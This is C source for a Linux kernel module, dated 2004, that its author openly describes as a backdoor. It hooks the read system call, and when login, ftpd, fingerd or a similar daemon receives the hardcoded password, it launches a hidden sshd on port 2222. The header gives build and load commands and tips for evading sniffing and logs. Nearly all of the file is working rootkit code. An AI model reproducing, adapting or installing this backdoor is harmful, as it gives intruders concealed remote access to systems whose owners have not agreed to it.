//                      portknock sshd
//                         v1.0a (Aug 2004)
//                             by bugghy (bugghy@rootshell.be)

// Kernel module used to get a sshd by challenging a list of specified daemons
// Tested on: 2.4.22
// Ideea from 	- sunx's sunxkdoor (or was it stealth@cyberspace.org the first ?) no one gives credits these days :>
// 		- phrack 61 issue 14

// gcc -isystem /lib/modules/`uname -r`/build/include -O2 -DMODULE -D__KERNEL__ -c portknock-sshd_lkm.c
// insmod portknock-sshd_lkm.o

// Uses:
//	backdoor (admin/hacker)

// TODO:
// 	netfilter hook ... to be launched after a funny ping (as suggested by stealth in his article)

// Problem:
// 	the challenge string you send over to the daemon can be sniffed
// Solution:
// 	use a "legit" looking string like: "ls /secretpass" when challenging ftpd

#include <linux/kernel.h>
#include <linux/module.h>
#include <sys/syscall.h>
#include <linux/mm.h>
#include <linux/sched.h>
#include <asm/uaccess.h>

#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include <linux/modversions.h>
#endif 

#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_AUTHOR("bugghy");
MODULE_DESCRIPTION("portknock sshd");
MODULE_LICENSE("Dual BSD/GPL");
#endif

#define PASS "tryme"
#define CMDNUM 6

char *LOGIN[CMDNUM] = {
	"login",
	"in.ftpd",
	"in.rexecd",
	"in.qpopper",
	"in.fingerd",
	"ipop3d"};

extern void *sys_call_table[];

ssize_t (*o_read) (int, void *, size_t);
void (*o_exit)(int);

static int get_shell()
{
        int ret;
        char *argv[] = { "/usr/bin/perl", "-e", // taken from p61 article 14
		"$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin';"
			"open(STDIN,'</dev/null');open(STDOUT,'>/dev/null');"
			"open(STDERR,'>/dev/null');"
			"exec('sshd -e -d -p 2222');",	NULL };

	ret = exec_usermodehelper(*argv, argv, NULL); // /usr/include/linux/kmod.h
	// or use do_execve() /usr/src/linux/fs/exec.c
        return ret;
}

ssize_t h_read(int fd, void *buf, size_t count){
	unsigned int i;
	ssize_t ret;
	char *tmp;
	pid_t pid;
	
	ret = o_read(fd, buf, count);

	if(ret <= 0) // code stolen from sunxkdoor (actually it can only by '-1 or >= 0')
		return ret;
	if(fd != 0)
		return ret;
	if(ret < strlen(PASS))
		return ret;
	
	for(i=0; i <= (CMDNUM-1); i++)
		if(!strncmp(LOGIN[i], current->comm, strlen(LOGIN[i])))
		{
			tmp=(char *) kmalloc(500, GFP_KERNEL);
			memset(tmp, 0, 500);
			copy_from_user(tmp, buf, strlen(buf)-1);

			if(strstr(tmp, PASS) != NULL)
			{
//				printk("<1>%s executed by GOD\n", current->comm);
				kfree(tmp);
				pid = kernel_thread(get_shell, NULL, 0);
				if(pid < 0)
				{
//					printk("<1>Fork failed (%d)\n", -pid);
					o_exit(0);
				}
//				printk("<1>Pid %d\n",pid);
				o_exit(0); // we quit (hopefully prevents some of the log output)
			}
			
			kfree(tmp);
		}
	return ret;
}

int init_module(void)
{
	o_read = sys_call_table[SYS_read];
	sys_call_table[SYS_read] = h_read;
	o_exit = sys_call_table[SYS_exit];
	
        return 0;
}

void cleanup_module(void)
{
	sys_call_table[SYS_read] = o_read;
}
